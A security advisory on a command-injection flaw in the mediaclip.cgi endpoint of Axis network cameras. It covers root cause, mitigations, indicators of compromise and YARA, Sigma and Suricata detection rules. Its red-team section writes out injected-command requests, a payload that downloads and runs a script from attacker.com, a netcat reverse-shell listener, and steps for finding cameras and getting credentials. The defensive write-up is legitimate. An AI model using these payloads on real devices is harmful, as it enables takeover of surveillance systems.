CVE-2025-11142

Executive Summary

CVE-2025-11142 is a remote code execution (RCE) vulnerability in the VAPIX API mediaclip.cgi endpoint of Axis network cameras and related devices. The flaw stems from insufficient input validation, allowing an authenticated attacker with operator or administrator privileges to inject arbitrary commands. With a CVSS score of 7.1 (High), this vulnerability poses a significant risk to physical security and network integrity. No public proof-of-concept (PoC) or exploit code has been released, and no patch is currently available from Axis. The EPSS score of 0.0% indicates low exploitation activity in the wild, but the potential for targeted attacks remains high.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects Axis embedded firmware and the proprietary VAPIX API. Organizations should treat this as a firmware-level supply chain risk and verify the integrity of Axis device firmware updates.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
• Base Score: 7.1 (High)
• Attack Vector: Network (AV:N) – exploitable remotely.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: High (PR:H) – requires operator or administrator credentials.
• User Interaction: None (UI:N) – no user action needed.
• Scope: Unchanged (S:U) – vulnerability does not affect other components.
• Confidentiality Impact: High (C:H) – full data exposure.
• Integrity Impact: High (I:H) – full system compromise.
• Availability Impact: High (A:H) – potential denial of service.

Threat Level: High. While authentication is required, the widespread deployment of Axis cameras in critical infrastructure (surveillance, access control) makes this a prime target for advanced persistent threats (APTs) and insider attacks.

Deep Dive & Mechanics

The VAPIX API is Axis's proprietary interface for managing and streaming from network cameras. The mediaclip.cgi endpoint is designed to retrieve recorded video clips. The vulnerability lies in how user-supplied parameters (e.g., filename, timestamp, or path) are passed to underlying system commands without proper sanitization.

Root Cause: The CGI script does not validate or escape input before passing it to a shell command (e.g., system(), popen(), or similar). An attacker can inject shell metacharacters (e.g., ;, |, $(), backticks) to execute arbitrary OS commands.

Attack Flow:

1. Attacker authenticates to the Axis device with operator or admin credentials.
2. Attacker crafts a malicious HTTP request to mediaclip.cgi with a payload in a parameter (e.g., filename=test.mp4;id).
3. The CGI script passes the unsanitized input to a shell command.
4. The injected command executes with the privileges of the web server (typically root or a high-privilege user).
5. Attacker gains remote code execution, enabling lateral movement, data exfiltration, or device takeover.

Example vulnerable request:

GET /axis-cgi/mediaclip.cgi?filename=test.mp4;$(id) HTTP/1.1
Host: 192.168.1.100
Authorization: Basic <base64 credentials>

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical comparison based on common secure coding practices.

Vulnerable Code (C/C++ or Shell):

// Vulnerable: Directly passes user input to system()
char filename[256];
snprintf(filename, sizeof(filename), "getclip %s", user_input);
system(filename);

Patched Code (Hypothetical):

// Patched: Validate and sanitize input
char filename[256];
if (!is_valid_filename(user_input)) {
    log_error("Invalid filename");
    return 400;
}
// Use execve() with arguments instead of system()
char *args[] = {"getclip", user_input, NULL};
execve("/usr/bin/getclip", args, NULL);

Key Differences:

• Input validation: Patched code checks for allowed characters (e.g., alphanumeric, dots, underscores).
• Command execution: Patched code avoids shell invocation by using execve() with a fixed argument list.
• Error handling: Patched code returns a 400 Bad Request on invalid input.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Axis device with VAPIX API enabled (default on most models).
• Valid operator or administrator credentials.
• Network access to the device (HTTP/HTTPS).

Exploitation Steps:

1. Reconnaissance: Identify Axis devices using Shodan dorks or network scanning.
2. Authentication: Obtain credentials via brute-force, default passwords, or phishing.
3. Craft Payload: Use command injection in the filename parameter.

   GET /axis-cgi/mediaclip.cgi?filename=test.mp4;wget%20http://attacker.com/shell.sh%20-O%20/tmp/shell.sh;sh%20/tmp/shell.sh
   

4. Execute: Send the request with proper HTTP basic auth.
5. Post-Exploitation: Establish persistence, pivot to internal networks, or exfiltrate video feeds.

Lab Setup:

• Use a virtualized Axis device (e.g., Axis Emulator or Docker image) or a physical test camera.
• Set up a listener (e.g., nc -lvnp 4444) to catch reverse shells.
• Use Burp Suite or curl to craft and send requests.

Example curl command:

curl -u "operator:password" "http://192.168.1.100/axis-cgi/mediaclip.cgi?filename=test.mp4;id"

Blue Team

Detection & Response:

• Monitor HTTP requests to /axis-cgi/mediaclip.cgi for unusual parameters (e.g., semicolons, pipes, backticks).
• Enable logging on Axis devices and forward logs to a SIEM.
• Use network segmentation to isolate cameras from critical systems.
• Implement strict access controls (e.g., disable default accounts, enforce strong passwords).

Honeypot Strategy:

• Deploy a fake Axis camera (e.g., using Cowrie or custom script) to capture attacker behavior.
• Log all requests to mediaclip.cgi and alert on injection patterns.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /axis-cgi/mediaclip.cgi containing shell metacharacters (;, |, $, `).
• Outbound connections from Axis devices to unknown IPs (e.g., on ports 80, 443, 4444).
• Unusual DNS queries from Axis devices (e.g., to attacker-controlled domains).

Host IOCs:

• Unexpected processes running on the Axis device (e.g., /tmp/shell.sh, nc, bash).
• Modified or new files in /tmp/ or /var/.
• Unauthorized SSH keys or cron jobs.

Log IOCs:

• Axis device logs showing mediaclip.cgi with error codes or unusual parameters.
• Repeated authentication failures followed by successful login and subsequent mediaclip.cgi requests.

Detection Engineering

YARA Rule

rule CVE_2025_11142_Mediaclip_Injection {
    meta:
        description = "Detects command injection attempts in Axis mediaclip.cgi requests"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-11142"
    strings:
        $injection1 = /filename=[^&]*[;&|`$]/
        $injection2 = /filename=[^&]*\(\)/
        $injection3 = /filename=[^&]*\$\{/
    condition:
        any of them
}

Sigma Rule

title: Axis VAPIX mediaclip.cgi Command Injection Attempt
id: 8f3a2b1c-4d5e-6f7a-8b9c-0d1e2f3a4b5c
status: experimental
description: Detects HTTP requests to Axis mediaclip.cgi with potential command injection payloads
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: axis
detection:
    selection:
        cs-uri-query|contains: 
            - 'mediaclip.cgi'
        cs-uri-query|re: 'filename=[^&]*[;&|`$]'
    condition: selection
falsepositives:
    - Legitimate use of special characters in filenames (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-11142 Axis VAPIX mediaclip.cgi Command Injection Attempt";
    flow:to_server,established;
    content:"/axis-cgi/mediaclip.cgi"; http_uri;
    pcre:"/filename=[^&]*[;&|`$]/Ui";
    classtype:attempted-admin;
    sid:10000001;
    rev:1;
    reference:cve,2025-11142;
)

Remediation & Mitigation

Immediate Actions:

1. Disable VAPIX API if not required: http://<device>/axis-cgi/admin/param.cgi?action=update&Network.API.HTTP.VAPIX=no
2. Restrict network access to Axis devices using firewalls or VLANs.
3. Change default credentials and enforce strong passwords.
4. Enable HTTPS and disable HTTP if possible.

Long-Term Fixes:

• Monitor Axis for an official firmware patch and apply immediately.
• Implement a Web Application Firewall (WAF) with rules to block command injection patterns.
• Use network-based intrusion detection (e.g., Suricata) with the provided rules.
• Conduct regular security audits of IoT/OT devices.

Workaround:

• If VAPIX is required, use a reverse proxy (e.g., Nginx) to filter requests to mediaclip.cgi and validate parameters.

Valters IT
Securing Digital Frontiers